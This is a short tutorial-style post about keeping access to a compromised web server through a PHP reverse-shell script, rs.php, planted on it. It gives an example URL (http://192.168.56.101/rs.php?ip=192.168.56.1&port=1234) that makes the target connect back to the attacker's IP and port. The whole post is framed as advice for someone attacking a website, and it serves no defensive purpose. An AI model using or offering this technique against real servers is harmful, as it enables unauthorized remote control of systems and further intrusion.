If you are attacking a website and successfully compromised, you have to connect back from the web server machine to your local machine for future Attack. I have one simple php script to do that, only enter your ip address and your port on the URL to connect back. for example :
http://192.168.56.101/rs.php?ip=192.168.56.1&port=1234
At the ip 192.168.56.101 is the target ip, the script called rs.php and then variables ip and port are from your local machine.